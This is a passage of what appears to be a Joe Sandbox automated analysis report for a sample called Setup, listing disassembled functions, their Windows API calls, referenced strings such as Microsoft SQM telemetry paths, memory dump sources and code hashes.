                    • SetLastError.KERNEL32(00000000,?,?,6E0C19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6E0E0180,00000000,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0C26D1
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ErrorLast$CountCriticalInitializeSectionSpinmalloc
                    • String ID:
                    • API String ID: 2914686227-0
                    • Opcode ID: f25f185e86c736c14963a880d2d454fc54167f08ff1209a164cec7aa73a85285
                    • Instruction ID: bcbd8e9c1815ef2260319a4c1540bf31f0fad18077c70485165a419a27065751
                    • Opcode Fuzzy Hash: f25f185e86c736c14963a880d2d454fc54167f08ff1209a164cec7aa73a85285
                    • Instruction Fuzzy Hash: C721E430254B01AFEB84DFE5CC58F6E3AE9BB42F94F504464F614CB1A2EB70C4488B22
                    Function 6E0CBCC7 Relevance: 7.6, APIs: 5, Instructions: 70libraryCOMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0CBCF7
                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,6E0C0000), ref: 6E0CBD0C
                    • LoadLibraryW.KERNEL32(?,?,?,6E0C0000), ref: 6E0CBD21
                    • GetLastError.KERNEL32(?,?,6E0C0000), ref: 6E0CF94F
                    • GetLastError.KERNEL32(?,?,6E0C0000), ref: 6E0CF98C
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ErrorLast$FileLibraryLoadModuleNamememset
                    • String ID:
                    • API String ID: 2354241510-0
                    • Opcode ID: 9c26ae72372f32f91524b82d62900e0164e0cd1008f8287753448d03b3880380
                    • Instruction ID: a143ee7bc4a4e86e30c637c00b3fff5b537ddc4962679bb41485630e19bc731e
                    • Opcode Fuzzy Hash: 9c26ae72372f32f91524b82d62900e0164e0cd1008f8287753448d03b3880380
                    • Instruction Fuzzy Hash: 39218E71640205AFDB40DBD5C848FEE77F9AB45B44F1044A5A929D7162EB30D9488F62
                    Function 009B6235 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • _malloc.LIBCMT ref: 009B6243
                      • Part of subcall function 009B6115: __FF_MSGBANNER.LIBCMT ref: 009B612E
                      • Part of subcall function 009B6115: __NMSG_WRITE.LIBCMT ref: 009B6135
                      • Part of subcall function 009B6115: HeapAlloc.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,009B4F49,?,00000001,?,?,009B42B7,00000018,009B6F78,0000000C,009B434C), ref: 009B615A
                    • _free.LIBCMT ref: 009B6256
                    Memory Dump Source
                    • Source File: 00000007.00000002.2109160683.00000000009B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009B0000, based on PE: true
                    • Associated: 00000007.00000002.2109125547.00000000009B0000.00000002.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109198922.00000000009B8000.00000004.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109221350.00000000009BA000.00000002.00000001.01000000.00000006.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_9b0000_Setup.jbxd
                    Similarity
                    • API ID: AllocHeap_free_malloc
                    • String ID:
                    • API String ID: 2734353464-0
                    • Opcode ID: 3171070173f92e82c1aa762fa304a17adc2792f9b4b829506527bd3e426662fe
                    • Instruction ID: 90f842cf36a74c5c28e3ff11cb3ce0cee6e22c15f9314e8469b3ad9442f53d19
                    • Opcode Fuzzy Hash: 3171070173f92e82c1aa762fa304a17adc2792f9b4b829506527bd3e426662fe
                    • Instruction Fuzzy Hash: 9911A736558215ABEF213F74AF457E93B989FC2370B204625F858D7191DF3CA840E750
                    Function 6E0C256E Relevance: 7.5, APIs: 5, Instructions: 44timethreadCOMMON
                    Download Yara Rule
                    APIs
                    • GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 6E0D4788
                    • GetCurrentProcessId.KERNEL32 ref: 6E0D4794
                    • GetCurrentThreadId.KERNEL32 ref: 6E0D479C
                    • GetTickCount.KERNEL32 ref: 6E0D47A4
                    • QueryPerformanceCounter.KERNEL32(?), ref: 6E0D47B0
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
                    • String ID:
                    • API String ID: 1445889803-0
                    • Opcode ID: 74de8d20ad662ea1055714ef2cb527a2a9ab600bacb827516f4f35910cbe9712
                    • Instruction ID: caa58768b51f65327bf75bd4c9d3b9a6452881980261a4acef81b85ad4bf138d
                    • Opcode Fuzzy Hash: 74de8d20ad662ea1055714ef2cb527a2a9ab600bacb827516f4f35910cbe9712
                    • Instruction Fuzzy Hash: EA015E76C00A24AFCF119BF9C84C69EB7F9FB4EB51F464965E801E7204EB349944CB80
                    Function 009B566A Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __getptd.LIBCMT ref: 009B5676
                      • Part of subcall function 009B3AB0: __getptd_noexit.LIBCMT ref: 009B3AB3
                      • Part of subcall function 009B3AB0: __amsg_exit.LIBCMT ref: 009B3AC0
                    • __getptd.LIBCMT ref: 009B568D
                    • __amsg_exit.LIBCMT ref: 009B569B
                    • __lock.LIBCMT ref: 009B56AB
                    • __updatetlocinfoEx_nolock.LIBCMT ref: 009B56BF
                    Memory Dump Source
                    • Source File: 00000007.00000002.2109160683.00000000009B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009B0000, based on PE: true
                    • Associated: 00000007.00000002.2109125547.00000000009B0000.00000002.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109198922.00000000009B8000.00000004.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109221350.00000000009BA000.00000002.00000001.01000000.00000006.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_9b0000_Setup.jbxd
                    Similarity
                    • API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
                    • String ID:
                    • API String ID: 938513278-0
                    • Opcode ID: 219c31a6df4124ed2dc2452cc7b60830c042a9f81510d51f07968600ffff7b3f
                    • Instruction ID: 17941940a64a67d87223ee43147f9a25527b6f51eaf71a661b8b8cf33e0e2cb3
                    • Opcode Fuzzy Hash: 219c31a6df4124ed2dc2452cc7b60830c042a9f81510d51f07968600ffff7b3f
                    • Instruction Fuzzy Hash: A3F09032904B14DBD720FB689B477DE33A46F80734F668609F110AB2D2DF745A409E96
                    Function 6E0DB397 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 380COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: wcschr
                    • String ID: ::$DATA$\\?\$\\?\UNC\
                    • API String ID: 1497570035-1379090233
                    • Opcode ID: 54a19899c6eaa6a0bb5ea98587d0f977c1f6725f60ef7f5dceda14d5de0e4bcf
                    • Instruction ID: 6c9078eba20e51b7b407b06480cb6aad116061241bb643a1225b7dfae7afe952
                    • Opcode Fuzzy Hash: 54a19899c6eaa6a0bb5ea98587d0f977c1f6725f60ef7f5dceda14d5de0e4bcf
                    • Instruction Fuzzy Hash: AFD17D7580070AEBDB61CFD5C950B9E77F4EF013A4F50811AE8159B258E7B8DA88CF91
                    Function 6E0CAA10 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 203COMMON
                    Download Yara Rule
                    APIs
                    • GetFileAttributesExW.KERNEL32(?,00000000,?), ref: 6E0CA9D3
                    • memset.MSVCRT ref: 6E0CAA5F
                      • Part of subcall function 6E0C18E5: _vsnwprintf.MSVCRT ref: 6E0C1913
                    Strings
                    • Microsoft\Windows\Sqm\Upload, xrefs: 6E0CFF0B
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: AttributesFile_vsnwprintfmemset
                    • String ID: Microsoft\Windows\Sqm\Upload
                    • API String ID: 1199674523-1629975561
                    • Opcode ID: ab45e2b274123db7ee24697312cd1033d8d61dd67ff844a386179bfda1a45cd7
                    • Instruction ID: 7544b6d3ef3542514ee132b09966e5b0ccc5c21fcec7455f9f85af7abf203168
                    • Opcode Fuzzy Hash: ab45e2b274123db7ee24697312cd1033d8d61dd67ff844a386179bfda1a45cd7
                    • Instruction Fuzzy Hash: 16710330944319AFCB91CED4CD84BEE3AF9EF15F84F204095E91AAA591D770CA858F93
                    Function 6E0D97BA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 114windowCOMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: MessageTrace
                    • String ID: <NULL>$NULL$|Zn
                    • API String ID: 471583391-2346055086
                    • Opcode ID: d5568db488e9bb648f53c6725d56f7608f1f84dd6a4a0a2759df6e27c68caaf3
                    • Instruction ID: 04f24b2d1fd3bbdd1a3b9b3ea1f72b220da30722e5f1746d1bd9d820104d6b3d
                    • Opcode Fuzzy Hash: d5568db488e9bb648f53c6725d56f7608f1f84dd6a4a0a2759df6e27c68caaf3
                    • Instruction Fuzzy Hash: 6531F036A04306EFCB045FCCC870BAA37B2EB86B54FD58115E9556B184E7F0DAAD8380
                    Function 6E0C84A3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47timeCOMMON
                    Download Yara Rule
                    APIs
                    • GetSystemTime.KERNEL32(00000000,00000000,?,?,?,6E0C833E,?), ref: 6E0C84AF
                    • SystemTimeToFileTime.KERNEL32(6E0C833E,6E0C833E,?,?,?,6E0C833E,?), ref: 6E0C84BD
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: Time$System$File
                    • String ID: MSQM$x
                    • API String ID: 2838179519-3648152566
                    • Opcode ID: a569bc4cca6753bbf5450763c17facba7685ee28b3c89823cf561f6899a79f99
                    • Instruction ID: 02927230279c3d7c818fd3aa3ebaf6b4c7c16bd4adb4d6db26fee0dc3b225fb6
                    • Opcode Fuzzy Hash: a569bc4cca6753bbf5450763c17facba7685ee28b3c89823cf561f6899a79f99
                    • Instruction Fuzzy Hash: C811A93491420AEFCB49DEE6C894F9D3BEEAB06B90F104464E800DB260D770D988CB67
                    Function 6E0DA6A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 26libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryA.KERNEL32(netapi32,NetGetJoinInformation,00000007), ref: 6E0DA6C4
                    • GetProcAddress.KERNEL32(00000000), ref: 6E0DA6CB
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: AddressLibraryLoadProc
                    • String ID: NetGetJoinInformation$netapi32
                    • API String ID: 2574300362-2552388246
                    • Opcode ID: f34d7b6e42bc3e28528200caa60b7a5e0f689745dea3d7f0ee27668d2a2a58ae
                    • Instruction ID: 6541dab48d193e71a0d587d69ff45b5bf952645bb25b8ab54b89390b7cee3da3
                    • Opcode Fuzzy Hash: f34d7b6e42bc3e28528200caa60b7a5e0f689745dea3d7f0ee27668d2a2a58ae
                    • Instruction Fuzzy Hash: 35E04F36688B07DBEA4046F95908BAA32F99761BA1B200521F92DC65C0EA74D4589B14
                    Function 6E0DA703 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 26libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleA.KERNEL32(netapi32,NetApiBufferFree,00000007), ref: 6E0DA727
                    • GetProcAddress.KERNEL32(00000000), ref: 6E0DA72E
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: AddressHandleModuleProc
                    • String ID: NetApiBufferFree$netapi32
                    • API String ID: 1646373207-4116497281
                    • Opcode ID: 928ea135c7a228c924908d2f5c0f6a7c16b0d745bbe31916ef98598fe7777103
                    • Instruction ID: b5d48bb8a1cd3a93cadd027072edab08718002d2f42d29652ff777081301a058
                    • Opcode Fuzzy Hash: 928ea135c7a228c924908d2f5c0f6a7c16b0d745bbe31916ef98598fe7777103
                    • Instruction Fuzzy Hash: 8CE04F32548B069AEA9056F95C58B6B36F89755B70B310521F93DCA580FA74D8489710
                    Function 6E0DA8F1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24synchronizationCOMMON
                    Download Yara Rule
                    APIs
                    • OpenEventA.KERNEL32(00100000,00000000,Global\TabletHardwarePresent), ref: 6E0DA902
                    • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 6E0DA910
                    • CloseHandle.KERNEL32(00000000), ref: 6E0DA91E
                    Strings
                    • Global\TabletHardwarePresent, xrefs: 6E0DA8F5
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CloseEventHandleObjectOpenSingleWait
                    • String ID: Global\TabletHardwarePresent
                    • API String ID: 1727428665-3144360101
                    • Opcode ID: 127d265562f02dc618bd96976d8c24c9579e4ab4763c7392a06485a086cb6a33
                    • Instruction ID: a95a7bb8bbee3670210dd44f4ab0135defff2e4b00a0c46669a1aa284a390e68
                    • Opcode Fuzzy Hash: 127d265562f02dc618bd96976d8c24c9579e4ab4763c7392a06485a086cb6a33
                    • Instruction Fuzzy Hash: E1D01732201630778671127AAC0CFAFAEB8DBCBEF17170210F84ED32408A348C0AC2E4
                    Function 009B29CB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 009B29D4
                    • GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 009B29E0
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2109160683.00000000009B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009B0000, based on PE: true
                    • Associated: 00000007.00000002.2109125547.00000000009B0000.00000002.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109198922.00000000009B8000.00000004.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109221350.00000000009BA000.00000002.00000001.01000000.00000006.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_9b0000_Setup.jbxd
                    Similarity
                    • API ID: AddressHandleModuleProc
                    • String ID: KERNEL32.DLL$SetProcessDEPPolicy
                    • API String ID: 1646373207-1809394400
                    • Opcode ID: da9c3cd54dbc7921f5fbc1ad617fcbcc6c0cb3416936464c0893bb05cd866d07
                    • Instruction ID: f172651973a1351727a27143bfae3a1cf14707ea433290b96721ca06773d8d12
                    • Opcode Fuzzy Hash: da9c3cd54dbc7921f5fbc1ad617fcbcc6c0cb3416936464c0893bb05cd866d07
                    • Instruction Fuzzy Hash: 18C08C34398208A7CB803BF40F2EBC5321AAB81F33FA00404F249E40A0DAA084866A24
                    Function 6E0C787B Relevance: 6.4, APIs: 5, Instructions: 108COMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0C78C4
                    • memmove.MSVCRT(?,?,00000001,?,?,00000000,00000000,?,?,00000000,?,?,?,?,?,6E0DD3F8), ref: 6E0D5485
                    • memset.MSVCRT ref: 6E0D54A4
                    • memmove.MSVCRT(?,?,00010000,?,?,000000FB,00000000,?,00000000,000000FF,?,?,?,?,?,00000004), ref: 6E0D54C9
                    • memmove.MSVCRT(?,?,?,?,?,?,?,?,000000FB,00000000,?,00000000,000000FF,?,?,?), ref: 6E0D54F2
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: memmove$memset
                    • String ID:
                    • API String ID: 3790616698-0
                    • Opcode ID: 077d26f26fda551de48103a5ceb68b6a756d6473fb55a76aeae2e47fc2184c85
                    • Instruction ID: 157f1b70a0bc48284d473920b69130d0f691268a26fa464ae78f00a98389207a
                    • Opcode Fuzzy Hash: 077d26f26fda551de48103a5ceb68b6a756d6473fb55a76aeae2e47fc2184c85
                    • Instruction Fuzzy Hash: CB315375600605AFD714CEA9CD84AAF77E9EB48654704462CF94AC7A00D730FE45CB51
                    Function 6E0C83E5 Relevance: 6.1, APIs: 4, Instructions: 125fileCOMMON
                    Download Yara Rule
                    APIs
                    • CreateFileW.KERNEL32(6E0C833E,80010000,00000001,00000000,00000003,00000080,00000000,6E0C7AF4,?,00000000,?,?,?,6E0C833E,?), ref: 6E0C840B
                    • GetFileSize.KERNEL32(00000000,00000000,?,00000000,?,?,?,6E0C833E,?), ref: 6E0C841B
                    • CloseHandle.KERNEL32(6E0C833E,?,00000000,?,?,?,6E0C833E,?), ref: 6E0C847C
                      • Part of subcall function 6E0C1967: malloc.MSVCRT(?,6E0E0554), ref: 6E0C1979
                    • ReadFile.KERNEL32(6E0C833E,00000000,?,6E0C833E,00000000,?,00000000,?,?,?,6E0C833E,?), ref: 6E0C844B
                      • Part of subcall function 6E0C84A3: GetSystemTime.KERNEL32(00000000,00000000,?,?,?,6E0C833E,?), ref: 6E0C84AF
                      • Part of subcall function 6E0C84A3: SystemTimeToFileTime.KERNEL32(6E0C833E,6E0C833E,?,?,?,6E0C833E,?), ref: 6E0C84BD
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: File$Time$System$CloseCreateHandleReadSizemalloc
                    • String ID:
                    • API String ID: 1717276877-0
                    • Opcode ID: bdc3a2d2d9927f54058b0bef5c1cff8b406f6e16461577327e961954d9774983
                    • Instruction ID: fb5827b7efbe00b33dfe9d9138dd447148ce42752007198f791497240c56e39f
                    • Opcode Fuzzy Hash: bdc3a2d2d9927f54058b0bef5c1cff8b406f6e16461577327e961954d9774983
                    • Instruction Fuzzy Hash: CC41BB74048301BFDB548EE1C840F6E7EBAEB41B94B108868F864DA4A0E734E948DB66
                    Function 6E0C84FC Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 117COMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0C8551
                      • Part of subcall function 6E0C18E5: _vsnwprintf.MSVCRT ref: 6E0C1913
                      • Part of subcall function 6E0C85E1: RegOpenKeyExW.ADVAPI32(6E0C63AF,?,00000000,-00020018,?,00000000,?), ref: 6E0C864C
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: Open_vsnwprintfmemset
                    • String ID: %s\%s\%s$Sampling$Software\Microsoft\SQMClient
                    • API String ID: 3302644324-2697463538
                    • Opcode ID: b4e0b6cb5044c63b815c86bc500a536987b05c9b1d9608673271f98484925440
                    • Instruction ID: abb360d57c863175fe505555ca34350d5f708d506cfa5daa5e48a01e7826a097
                    • Opcode Fuzzy Hash: b4e0b6cb5044c63b815c86bc500a536987b05c9b1d9608673271f98484925440
                    • Instruction Fuzzy Hash: C441E170504309ABDB55CEE4CC94FDE77BAAF08B44F1004D5F509AA190E7B0EA88CF66
                    Function 009B35E5 Relevance: 6.0, APIs: 4, Instructions: 41COMMON
                    Download Yara Rule
                    APIs
                    • GetEnvironmentStringsW.KERNEL32(00000000,009B2AE3), ref: 009B35E8
                    • __malloc_crt.LIBCMT ref: 009B3617
                    • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009B3624
                    Memory Dump Source
                    • Source File: 00000007.00000002.2109160683.00000000009B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009B0000, based on PE: true
                    • Associated: 00000007.00000002.2109125547.00000000009B0000.00000002.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109198922.00000000009B8000.00000004.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109221350.00000000009BA000.00000002.00000001.01000000.00000006.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_9b0000_Setup.jbxd
                    Similarity
                    • API ID: EnvironmentStrings$Free__malloc_crt
                    • String ID:
                    • API String ID: 237123855-0
                    • Opcode ID: 91cb79e3ba58518f2a66a69a58e83f9e36053f4db8b290eb05e1760904364a77
                    • Instruction ID: 60edc4205006167481dc46466812c57d1dae9229ff90956101d3b5fad18b30ff
                    • Opcode Fuzzy Hash: 91cb79e3ba58518f2a66a69a58e83f9e36053f4db8b290eb05e1760904364a77
                    • Instruction Fuzzy Hash: A8F02777515110AACF31B734BE5B9EB673CCBD537031B8416F406D3200FA208F8586A1
                    Function 6E0DB21B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 105COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: wcschr
                    • String ID: \\?\
                    • API String ID: 1497570035-4282027825
                    • Opcode ID: cf950a80979126af75c3dc9176bb7c80e4084628f85e5d7b6361fa8acf62c0bd
                    • Instruction ID: 1590368cfdc2ee74bf73b4bf8dee03de5ff41fb51b40407b939a6ec385a095d3
                    • Opcode Fuzzy Hash: cf950a80979126af75c3dc9176bb7c80e4084628f85e5d7b6361fa8acf62c0bd
                    • Instruction Fuzzy Hash: 7E3100335407129AE710AEDA8850BBF33F8EE157E07414925EA969B148EB60EA498BD0
                    Function 6E0C30E7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ctype$malloc
                    • String ID: W
                    • API String ID: 624949309-655174618
                    • Opcode ID: 7f0c1b1a179a3b09a6a19488affd130c8792208395edcda6b02c07f58ac75aa6
                    • Instruction ID: f8160c5d1dea68dcda73ab1f99e9685114c02dc27862d7c7bba1feff3c326cd6
